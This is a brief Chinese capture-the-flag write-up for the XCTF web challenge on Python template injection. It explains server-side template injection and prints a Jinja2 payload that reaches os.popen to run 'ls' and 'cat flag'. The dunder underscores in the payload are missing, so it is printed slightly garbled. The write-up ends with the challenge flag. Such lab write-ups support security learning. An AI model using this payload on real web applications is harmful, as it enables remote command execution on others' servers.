XCTF WEB 高手进阶区 Web_python_template_injection

打开网页，如下所示：

翻译可得，模板注入

既然是模板注入，那就要普及一点常识，

模板注入的意思就是，遗一串指令代替变量传入模板中让他执行，好吧，听起来有点难理解，那就直接理解为：在连接后面加：/{{}}，而括号里面是可以执行一些简单的指令，比如输入1+1，就会输出2

然后，百度一下常用的payload（把常用的payload记住！！！）

{{’’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘ls’).read()}}

其中里面的ls就是我们要执行的命令，想要执行其他命令直接改这里就行了，比如改成

{{’’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘cat flag’).read()}}

那么这道题就能找到答案啦

附上flag:
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}